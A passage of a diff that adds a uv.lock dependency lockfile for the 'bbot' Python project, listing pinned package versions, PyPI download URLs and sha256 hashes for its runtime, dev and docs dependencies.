@@ -0,0 +1,3538 @@
+version = 1
+revision = 3
+requires-python = ">=3.10, <3.15"
+resolution-markers = [
+    "python_full_version >= '3.12'",
+    "python_full_version == '3.11.*'",
+    "python_full_version < '3.11'",
+]
+
+[[package]]
+name = "annotated-doc"
+version = "0.0.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4", size = 7288, upload-time = "2025-11-10T22:07:42.062Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320", size = 5303, upload-time = "2025-11-10T22:07:40.673Z" },
+]
+
+[[package]]
+name = "annotated-types"
+version = "0.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" },
+]
+
+[[package]]
+name = "ansible-core"
+version = "2.17.14"
+source = { registry = "https://pypi.org/simple" }
+resolution-markers = [
+    "python_full_version < '3.11'",
+]
+dependencies = [
+    { name = "cryptography", marker = "python_full_version < '3.11'" },
+    { name = "jinja2", marker = "python_full_version < '3.11'" },
+    { name = "packaging", marker = "python_full_version < '3.11'" },
+    { name = "pyyaml", marker = "python_full_version < '3.11'" },
+    { name = "resolvelib", version = "1.0.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/ff/80/2925a0564f6f99a8002c3be3885b83c3a1dc5f57ebf00163f528889865f5/ansible_core-2.17.14.tar.gz", hash = "sha256:7c17fee39f8c29d70e3282a7e9c10bd70d5cd4fd13ddffc5dcaa52adbd142ff8", size = 3119687, upload-time = "2025-09-08T18:28:03.158Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/86/29/d694562f1a875b50aa74f691521fe493704f79cf1938cd58f28f7e2327d2/ansible_core-2.17.14-py3-none-any.whl", hash = "sha256:34a49582a57c2f2af17ede2cefd3b3602a2d55d22089f3928570d52030cafa35", size = 2189656, upload-time = "2025-09-08T18:28:00.375Z" },
+]
+
+[[package]]
+name = "ansible-core"
+version = "2.19.6"
+source = { registry = "https://pypi.org/simple" }
+resolution-markers = [
+    "python_full_version == '3.11.*'",
+]
+dependencies = [
+    { name = "cryptography", marker = "python_full_version == '3.11.*'" },
+    { name = "jinja2", marker = "python_full_version == '3.11.*'" },
+    { name = "packaging", marker = "python_full_version == '3.11.*'" },
+    { name = "pyyaml", marker = "python_full_version == '3.11.*'" },
+    { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.11.*'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/8b/98/ca1135c50aa3004367ff1f66c101a565ac17b4bfa1c9f9a2d8e395e06775/ansible_core-2.19.6.tar.gz", hash = "sha256:1e6b711e357901422592a1d1e4a076eee918497587646a5843fa61536ede1990", size = 3414480, upload-time = "2026-01-29T19:24:10.09Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7c/2e/5127c0321b7fad3e636a3b2343e711b64bdb77f25a6de0d579268f8b77cc/ansible_core-2.19.6-py3-none-any.whl", hash = "sha256:a29c5df4b46cc3f4123e5aac15f3626b925841b9844fa88d3890a0c45a9a4469", size = 2415790, upload-time = "2026-01-29T19:24:07.595Z" },
+]
+
+[[package]]
+name = "ansible-core"
+version = "2.20.2"
+source = { registry = "https://pypi.org/simple" }
+resolution-markers = [
+    "python_full_version >= '3.12'",
+]
+dependencies = [
+    { name = "cryptography", marker = "python_full_version >= '3.12'" },
+    { name = "jinja2", marker = "python_full_version >= '3.12'" },
+    { name = "packaging", marker = "python_full_version >= '3.12'" },
+    { name = "pyyaml", marker = "python_full_version >= '3.12'" },
+    { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/22/56/a76adc20dee854b52a3e20fcb9c01280bbac52ef54308e5b1c7bc67ade76/ansible_core-2.20.2.tar.gz", hash = "sha256:75e19a3ad8cf659579ea182cdf948ee0900d700e564802e92876de53dbd9715d", size = 3317427, upload-time = "2026-01-29T19:25:04.814Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d9/89/9d0d5ce1e63e57d59ae1c873a2c2b08ab104bd3bea365db46c3140371271/ansible_core-2.20.2-py3-none-any.whl", hash = "sha256:1bbd101e3e3b1ace91d8be123007050f7efd94c4c78bbeb9e45ad1c7016d08ef", size = 2412886, upload-time = "2026-01-29T19:25:03.04Z" },
+]
+
+[[package]]
+name = "ansible-runner"
+version = "2.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "packaging" },
+    { name = "pexpect" },
+    { name = "python-daemon" },
+    { name = "pyyaml" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/aa/db/65b9e058807d313c495a6f4365cc11234d0391c5843659ddc27cc4bf1677/ansible_runner-2.4.2.tar.gz", hash = "sha256:331d4da8d784e5a76aa9356981c0255f4bb1ba640736efe84b0bd7c73a4ca420", size = 152047, upload-time = "2025-10-14T19:10:50.159Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a9/da/19512e72e9cf2b8e7e6345264baa6c7ac1bb0ab128eb19c73a58407c4566/ansible_runner-2.4.2-py3-none-any.whl", hash = "sha256:0bde6cb39224770ff49ccdc6027288f6a98f4ed2ea0c64688b31217033221893", size = 79758, upload-time = "2025-10-14T19:10:48.994Z" },
+]
+
+[[package]]
+name = "anyio"
+version = "4.12.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "exceptiongroup", marker = "python_full_version < '3.11'" },
+    { name = "idna" },
+    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" },
+]
+
+[[package]]
+name = "asndb"
+version = "1.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "blasthttp" },
+    { name = "cachetools" },
+    { name = "radixtarget" },
+    { name = "typer" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/1b/3a/e93d97e0455dbee83611bd3d61bc936e05ad361fcdb1131a1c4d257c6627/asndb-1.1.0.tar.gz", hash = "sha256:435a9741ea66d68b817c9c1054729f88c3d5eba94b96ca991b159ad40b23d0ca", size = 18987, upload-time = "2026-06-16T03:45:25.777Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/95/c4/89dafea4540b2590d1bd114438a6003abc3fd7047ea5eed02b0a0abf3d89/asndb-1.1.0-py3-none-any.whl", hash = "sha256:5cb47356014b20bbbca1114babc7cdc1227c5b81caf1638ab693e05f2a222b5f", size = 18509, upload-time = "2026-06-16T03:45:26.44Z" },
+]
+
+[[package]]
+name = "babel"
+version = "2.18.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7d/b2/51899539b6ceeeb420d40ed3cd4b7a40519404f9baf3d4ac99dc413a834b/babel-2.18.0.tar.gz", hash = "sha256:b80b99a14bd085fcacfa15c9165f651fbb3406e66cc603abf11c5750937c992d", size = 9959554, upload-time = "2026-02-01T12:30:56.078Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/77/f5/21d2de20e8b8b0408f0681956ca2c69f1320a3848ac50e6e7f39c6159675/babel-2.18.0-py3-none-any.whl", hash = "sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35", size = 10196845, upload-time = "2026-02-01T12:30:53.445Z" },
+]
+
+[[package]]
+name = "backports-asyncio-runner"
+version = "1.2.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" },
+]
+
+[[package]]
+name = "backrefs"
+version = "6.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/86/e3/bb3a439d5cb255c4774724810ad8073830fac9c9dee123555820c1bcc806/backrefs-6.1.tar.gz", hash = "sha256:3bba1749aafe1db9b915f00e0dd166cba613b6f788ffd63060ac3485dc9be231", size = 7011962, upload-time = "2025-11-15T14:52:08.323Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/3b/ee/c216d52f58ea75b5e1841022bbae24438b19834a29b163cb32aa3a2a7c6e/backrefs-6.1-py310-none-any.whl", hash = "sha256:2a2ccb96302337ce61ee4717ceacfbf26ba4efb1d55af86564b8bbaeda39cac1", size = 381059, upload-time = "2025-11-15T14:51:59.758Z" },
+    { url = "https://files.pythonhosted.org/packages/e6/9a/8da246d988ded941da96c7ed945d63e94a445637eaad985a0ed88787cb89/backrefs-6.1-py311-none-any.whl", hash = "sha256:e82bba3875ee4430f4de4b6db19429a27275d95a5f3773c57e9e18abc23fd2b7", size = 392854, upload-time = "2025-11-15T14:52:01.194Z" },
+    { url = "https://files.pythonhosted.org/packages/37/c9/fd117a6f9300c62bbc33bc337fd2b3c6bfe28b6e9701de336b52d7a797ad/backrefs-6.1-py312-none-any.whl", hash = "sha256:c64698c8d2269343d88947c0735cb4b78745bd3ba590e10313fbf3f78c34da5a", size = 398770, upload-time = "2025-11-15T14:52:02.584Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/95/7118e935b0b0bd3f94dfec2d852fd4e4f4f9757bdb49850519acd245cd3a/backrefs-6.1-py313-none-any.whl", hash = "sha256:4c9d3dc1e2e558965202c012304f33d4e0e477e1c103663fd2c3cc9bb18b0d05", size = 400726, upload-time = "2025-11-15T14:52:04.093Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/72/6296bad135bfafd3254ae3648cd152980a424bd6fed64a101af00cc7ba31/backrefs-6.1-py314-none-any.whl", hash = "sha256:13eafbc9ccd5222e9c1f0bec563e6d2a6d21514962f11e7fc79872fd56cbc853", size = 412584, upload-time = "2025-11-15T14:52:05.233Z" },
+    { url = "https://files.pythonhosted.org/packages/02/e3/a4fa1946722c4c7b063cc25043a12d9ce9b4323777f89643be74cef2993c/backrefs-6.1-py39-none-any.whl", hash = "sha256:a9e99b8a4867852cad177a6430e31b0f6e495d65f8c6c134b68c14c3c95bf4b0", size = 381058, upload-time = "2025-11-15T14:52:06.698Z" },
+]
+
+[[package]]
+name = "baddns"
+version = "2.4.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "blastdns" },
+    { name = "blasthttp" },
+    { name = "cloudcheck" },
+    { name = "colorama" },
+    { name = "dnspython" },
+    { name = "python-dateutil" },
+    { name = "python-whois" },
+    { name = "pyyaml" },
+    { name = "tldextract" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/1d/91/62cef471fba0201e38d1d3cca0170ca0dd25c5417c7f2f2b495dc3903b3e/baddns-2.4.1.tar.gz", hash = "sha256:022e66a7d04ccbf239ba0a012c505dcc8d4246d240817c16802d1c833f1765fa", size = 62730, upload-time = "2026-06-17T23:12:10.841Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/8c/d1/f7cc99fbf5146becdefc01b68917f4de8b5d32b355fe8be42e4ae12e5538/baddns-2.4.1-py3-none-any.whl", hash = "sha256:bda752ecdb31fe27c753516ab476f0371d128fe5c7f1c8a677ba49ad9348d8e3", size = 121104, upload-time = "2026-06-17T23:12:09.661Z" },
+]
+
+[[package]]
+name = "bbot"
+version = "3.0.0"
+source = { editable = "." }
+dependencies = [
+    { name = "ansible-core", version = "2.17.14", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
+    { name = "ansible-core", version = "2.19.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.11.*'" },
+    { name = "ansible-core", version = "2.20.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" },
+    { name = "ansible-runner" },
+    { name = "asndb" },
+    { name = "beautifulsoup4" },
+    { name = "blastdns" },
+    { name = "blasthttp" },
+    { name = "cachetools" },
+    { name = "cloudcheck" },
+    { name = "deepdiff" },
+    { name = "dnspython" },
+    { name = "idna" },
+    { name = "jinja2" },
+    { name = "lxml" },
+    { name = "mmh3" },
+    { name = "orjson" },
+    { name = "pip" },
+    { name = "psutil" },
+    { name = "puremagic" },
+    { name = "pycryptodome" },
+    { name = "pydantic" },
+    { name = "pyjwt" },
+    { name = "pyyaml" },
+    { name = "pyzmq" },
+    { name = "radixtarget" },
+    { name = "regex" },
+    { name = "setproctitle" },
+    { name = "socksio" },
+    { name = "tabulate" },
+    { name = "tldextract" },
+    { name = "unidecode" },
+    { name = "websockets" },
+    { name = "wordninja" },
+    { name = "xmltojson" },
+    { name = "xxhash" },
+    { name = "yara-python" },
+    { name = "zstandard" },
+]
+
+[package.dev-dependencies]
+dev = [
+    { name = "baddns" },
+    { name = "fastapi" },
+    { name = "maturin" },
+    { name = "pre-commit" },
+    { name = "pytest" },
+    { name = "pytest-asyncio" },
+    { name = "pytest-benchmark" },
+    { name = "pytest-cov" },
+    { name = "pytest-env" },
+    { name = "pytest-httpserver" },
+    { name = "pytest-httpx" },
+    { name = "pytest-rerunfailures" },
+    { name = "pytest-timeout" },
+    { name = "ruff" },
+    { name = "urllib3" },
+    { name = "uvicorn" },
+    { name = "werkzeug" },
+]
+docs = [
+    { name = "griffe" },
+    { name = "livereload" },
+    { name = "mike" },
+    { name = "mkdocs" },
+    { name = "mkdocs-extra-sass-plugin" },
+    { name = "mkdocs-material" },
+    { name = "mkdocs-material-extensions" },
+    { name = "mkdocstrings" },
+    { name = "mkdocstrings-python" },
+    { name = "pymdown-extensions" },
+]
+
+[package.metadata]
+requires-dist = [
+    { name = "ansible-core", specifier = ">=2.17,<3" },
+    { name = "ansible-runner", specifier = ">=2.3.2,<3" },
+    { name = "asndb", specifier = ">=1.1.0" },
+    { name = "beautifulsoup4", specifier = ">=4.12.2,<5" },
+    { name = "blastdns", specifier = ">=1.9.0,<2" },
+    { name = "blasthttp", specifier = ">=0.9.0" },
+    { name = "cachetools", specifier = ">=5.3.2,<8.0.0" },
+    { name = "cloudcheck", specifier = ">=11.1.0,<12" },
+    { name = "deepdiff", specifier = ">=8.0.0,<10" },
+    { name = "dnspython", specifier = ">=2.7.0,<2.9.0" },
+    { name = "idna", specifier = ">=3.4,<4" },
+    { name = "jinja2", specifier = ">=3.1.3,<4" },
+    { name = "lxml", specifier = ">=4.9.2,<7.0.0" },
+    { name = "mmh3", specifier = ">=4.1,<6.0" },
+    { name = "orjson", specifier = ">=3.10.12,<4" },
+    { name = "pip" },
+    { name = "psutil", specifier = ">=5.9.4,<8.0.0" },
+    { name = "puremagic", specifier = ">=1.28,<2" },
+    { name = "pycryptodome", specifier = ">=3.17,<4" },
+    { name = "pydantic", specifier = ">=2.12.2,<3" },
+    { name = "pyjwt", specifier = ">=2.7.0,<3" },
+    { name = "pyyaml", specifier = ">=6.0.0,<7" },
+    { name = "pyzmq", specifier = ">=26.0.3,<28.0.0" },
+    { name = "radixtarget", specifier = ">=4.0.1,<5" },
+    { name = "regex", specifier = ">=2024.4.16,<2027.0.0" },
+    { name = "setproctitle", specifier = ">=1.3.3,<2" },
+    { name = "socksio", specifier = ">=1.0.0,<2" },
+    { name = "tabulate", specifier = "==0.8.10" },
+    { name = "tldextract", specifier = ">=5.3.0,<6" },
+    { name = "unidecode", specifier = ">=1.3.8,<2" },
+    { name = "websockets", specifier = ">=14.0.0,<17.0.0" },
+    { name = "wordninja", specifier = ">=2.0.0,<3" },
+    { name = "xmltojson", specifier = ">=2.0.2,<3" },
+    { name = "xxhash", specifier = ">=3.5.0,<4" },
+    { name = "yara-python", specifier = ">=4.5.4,<5" },
+    { name = "zstandard", specifier = ">=0.22,<1" },
+]
+
+[package.metadata.requires-dev]
+dev = [
+    { name = "fastapi", specifier = ">=0.115.5,<0.139.0" },
+    { name = "baddns", specifier = "~=2.4.1" },
+    { name = "maturin", specifier = ">=1.4,<2" },
+    { name = "pre-commit", specifier = ">=3.4,<5.0" },
+    { name = "pytest", specifier = ">=8.3.1,<10" },
+    { name = "pytest-asyncio", specifier = "==1.4.0" },
+    { name = "pytest-benchmark", specifier = ">=4,<6" },
+    { name = "pytest-cov", specifier = ">=5,<8" },
+    { name = "pytest-env", specifier = ">=0.8.2,<1.7.0" },
+    { name = "pytest-httpserver", specifier = ">=1.0.11,<2" },
+    { name = "pytest-httpx", specifier = ">=0.35" },
+    { name = "pytest-rerunfailures", specifier = ">=14,<17" },
+    { name = "pytest-timeout", specifier = ">=2.3.1,<3" },
+    { name = "ruff", specifier = "==0.15.18" },
+    { name = "urllib3", specifier = ">=2.0.2,<3" },
+    { name = "uvicorn", specifier = ">=0.32,<0.50" },
+    { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" },
+]
+docs = [
+    { name = "griffe", specifier = ">=1,<3" },
+    { name = "livereload", specifier = ">=2.6.3,<3" },
+    { name = "mike", specifier = ">=2.1.3,<3" },
+    { name = "mkdocs", specifier = ">=1.5.2,<2" },
+    { name = "mkdocs-extra-sass-plugin", specifier = ">=0.1.0,<1" },
+    { name = "mkdocs-material", specifier = ">=9.2.5,<10" },
+    { name = "mkdocs-material-extensions", specifier = ">=1.1.1,<2" },
+    { name = "mkdocstrings", specifier = ">=0.22,<1.1" },
+    { name = "mkdocstrings-python", specifier = ">=2.0.0,<3" },
+    { name = "pymdown-extensions", specifier = ">=10.20.1,<11" },
+]
+
+[[package]]
+name = "beautifulsoup4"
+version = "4.14.3"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "soupsieve" },
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c3/b0/1c6a16426d389813b48d95e26898aff79abbde42ad353958ad95cc8c9b21/beautifulsoup4-4.14.3.tar.gz", hash = "sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86", size = 627737, upload-time = "2025-11-30T15:08:26.084Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1a/39/47f9197bdd44df24d67ac8893641e16f386c984a0619ef2ee4c51fbbc019/beautifulsoup4-4.14.3-py3-none-any.whl", hash = "sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb", size = 107721, upload-time = "2025-11-30T15:08:24.087Z" },
+]
+
+[[package]]
+name = "blastdns"
+version = "1.9.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "orjson" },
+    { name = "pydantic" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/a0/63/5ad427bd5e23780961ba4f183a85d8428d961feabcfaf237347801dd00a0/blastdns-1.9.1.tar.gz", hash = "sha256:e0ea09a9f0199a64aad8a6abe54e0f0de523a12e6f96da71e79af7fea9d12f2f", size = 114292, upload-time = "2026-04-15T20:33:18.661Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/87/89/c606bd3d9e50771e168ad64745e4b9ef28fa511533d225735178eddab5c7/blastdns-1.9.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:fc9a0c8808b90748dadc224e86a21fed75c1ccfa7df682906401790069262816", size = 2449222, upload-time = "2026-04-15T20:30:51.744Z" },
+    { url = "https://files.pythonhosted.org/packages/56/97/8e10f45144e7644c6f9e7a9f96eb7e433ef34bc5e6e84ae3e50581ae24d1/blastdns-1.9.1-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:077dfd2eb020ea7d120c18263a3f646bcd8dfe1e0d6d1c1f604d5034892d3404", size = 2321373, upload-time = "2026-04-15T20:31:06.388Z" },
+    { url = "https://files.pythonhosted.org/packages/47/80/31f3383453114beeade87d99058e1513dd82dafd67002d09ee9337fa886c/blastdns-1.9.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:eb7833f85bbb8ac246ec55ca5aa9bf622f18d61f6566b4fbc6b3c42e99eae5a7", size = 2546563, upload-time = "2026-04-15T20:31:49.596Z" },
+    { url = "https://files.pythonhosted.org/packages/45/76/eefa2fbe0be7781d33baf0b4670bc9d2db6aff0d94aeec1dd8d54c389683/blastdns-1.9.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:911516924ff9652cae0905ba218cd58f03d6e4c4d8972d8c00a3540496a15dad", size = 3519094, upload-time = "2026-04-15T20:31:20.464Z" },
+    { url = "https://files.pythonhosted.org/packages/62/57/bbef43cfb51ed61977ac2e9d378d5e82ccf541ae3e4f1d318acd25ec6100/blastdns-1.9.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:693ba5b6820c6ab8cfd37202babeef354a2fca45ce51afcd8ffa912f2a50e82e", size = 2506642, upload-time = "2026-04-15T20:31:35.818Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/25/811477849e41c66e85047133ee4af7ecbd320c5b251988fee94c97c426f8/blastdns-1.9.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:06ebb94fbcc130acfc73356b36f135f9ca655a5ced9780c3ff9bee6394c91639", size = 2439602, upload-time = "2026-04-15T20:31:59.906Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/9f/c592c221970f278822f2f8bcefc2422eebf6cced23268d3fda7daec24e01/blastdns-1.9.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:99966441bfed1f5b45abf6c736be5d9bc141946ffe7582a1fbfd90386b16d4af", size = 2627363, upload-time = "2026-04-15T20:32:23.893Z" },
+    { url = "https://files.pythonhosted.org/packages/74/41/9a3b74481259f76ce863a6d883779766970007952ceedd469a2d903421f7/blastdns-1.9.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:dd587b057bebdf2797cafa69923425312a038a56b4f48e740db1ce9584d4169a", size = 2594515, upload-time = "2026-04-15T20:32:37.097Z" },
+    { url = "https://files.pythonhosted.org/packages/a7/41/23f2ab8eda0f31bf85b1f1aaa41dc2205c224f7032ba431434d78cfc0625/blastdns-1.9.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f45a4fb8dc5d84bc94b266230329ca4e14ae1e43a65f45e1ba52c1ab8509964b", size = 2671944, upload-time = "2026-04-15T20:32:50.331Z" },
+    { url = "https://files.pythonhosted.org/packages/85/2a/4149667e1245c80cd501bad55bed7cdb42190c3d727eb742566e65f61041/blastdns-1.9.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:98b9ea17704491fd6d1e40a183222439403433ab2046f8e323ed10dcac5ab214", size = 2689118, upload-time = "2026-04-15T20:33:04.593Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/04/8af93946ac6a53f981356e13ddd2eda5c8b76ab355054731e8704c2f4a59/blastdns-1.9.1-cp310-cp310-win_amd64.whl", hash = "sha256:8581a729dd9f32cca8edef0fd8c0529be81fe8ca7faef497f1712b5277c0b896", size = 2657117, upload-time = "2026-04-15T20:33:20.027Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/d7/b4a757c662a45f82dc32fe916151caef24763f06ddf1d7ac571ff6f0ac51/blastdns-1.9.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:67f52aa4880bed47da178065c8b2935cc41f526a340e0a1dae90f2eb641f99f8", size = 2655899, upload-time = "2026-04-15T20:32:17.262Z" },
+    { url = "https://files.pythonhosted.org/packages/98/16/5fbb3f57e2a2da7b1ea954c4a7576a0216b8b6f45714cedc0da92c933183/blastdns-1.9.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9dda8352acba5c9b7e498c61f73f28120e312e441a37d26d8912ddb8c8876b11", size = 2522537, upload-time = "2026-04-15T20:32:10.658Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/7c/974f4a6f021fcf5a172dc9e6ab508527e5554576eb08f057f4d6345dca79/blastdns-1.9.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:b967cba75fd757b0e954cf4fb3d69c9fb39d95871316a9cf0bb0c2dc5e720077", size = 2450776, upload-time = "2026-04-15T20:30:53.403Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/a3/dc118d2a4be9efc933b29add465451537e10de53ee59e08bc6bf34de85f9/blastdns-1.9.1-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:7a51dce160ffee92b548553b8c01d50ffa6d1f4c16d153df6ec36cc04e4ce8cc", size = 2321089, upload-time = "2026-04-15T20:31:07.684Z" },
+    { url = "https://files.pythonhosted.org/packages/79/e9/47ae75a10808c166c38cd989fc7b65b5e31755985030e30ae3535a0abaad/blastdns-1.9.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:f9fb56f9f8a672518968f7a4d882718c75b4b42629baa76f55c8bb4f60c6d8d1", size = 2551494, upload-time = "2026-04-15T20:31:50.955Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/2f/f2f8f5b40c83b868a807c1e8dbeafb930a0568c96ba53e95cd5e5b6b345b/blastdns-1.9.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:d0d23e22bdbf4fc8f4c32ff073603c56c6efb9f4911a168d9f004de664a5b13f", size = 3520728, upload-time = "2026-04-15T20:31:22.339Z" },
+    { url = "https://files.pythonhosted.org/packages/69/81/af8964cd04f861077d2e99698b62d7cf01d5c5c193d8a815f3970dcdc0e6/blastdns-1.9.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:0e7603dc7e5fef925d03b5f28d75164e634ef2d6fc5b960671d0cf88380d7b70", size = 2507167, upload-time = "2026-04-15T20:31:37.313Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/8b/6326da63ad387377c0dd94f52426b276273f8cdf32eab17e4b3ba0ec4c0f/blastdns-1.9.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:8d2cc4189b98fd6d2ca2b41043f0a501455e8043562f9086fafb25c93ef053ad", size = 2438814, upload-time = "2026-04-15T20:32:01.274Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/30/d94d844101d7650982c6a686b41ba65fae84692f6a65147aea9756a4d09c/blastdns-1.9.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6e31c987da6b52c1194ec057c932400b72f729922fa18737b68a868df5911d27", size = 2628570, upload-time = "2026-04-15T20:32:25.287Z" },
+    { url = "https://files.pythonhosted.org/packages/63/a0/c2d1d9d6bcf20836b66b06c970e2674e5d531c98f5f8a5d8b80a2c31e413/blastdns-1.9.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:da747e424bea405fc11ad7cb71ea36a082c100e40c0fc18855e209104f4e08d6", size = 2595745, upload-time = "2026-04-15T20:32:38.459Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/f6/0c0e8a070cce991ba16227a3a1e8602f76a84db783cd2f3f170b2250a373/blastdns-1.9.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:801224d7006b61789378addae8751aeb7c7877c8ecf19b515f4a856230fc68bc", size = 2671215, upload-time = "2026-04-15T20:32:51.674Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/4a/b2cfbb5cbede71ba5c116bea8bd68222e9ab5bef49b4cd1312954978c99f/blastdns-1.9.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1ce70a659667f3adc7c0eac7d4b2c6f4c9f8429367254ec5308d04f36213f935", size = 2689185, upload-time = "2026-04-15T20:33:06.529Z" },
